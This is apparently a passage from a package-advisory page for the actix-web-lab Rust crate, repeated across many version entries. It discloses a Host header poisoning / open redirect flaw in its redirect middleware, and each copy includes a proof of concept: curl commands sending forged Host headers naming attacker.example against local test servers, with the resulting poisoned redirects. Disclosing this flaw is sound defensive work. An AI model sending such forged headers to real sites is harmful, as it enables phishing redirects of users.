- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 26, 2023

0.19.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 19, 2023

0.18.9 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 02, 2023

0.18.8 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 10, 2022

0.18.7 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 10, 2022

0.18.6 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 08, 2022

0.18.5 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 13, 2022

0.18.4 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 09, 2022

0.18.3 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 01, 2022

0.18.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 13, 2022

0.18.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 13, 2022

0.18.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 13, 2022

0.17.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 09, 2022

0.16.9 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

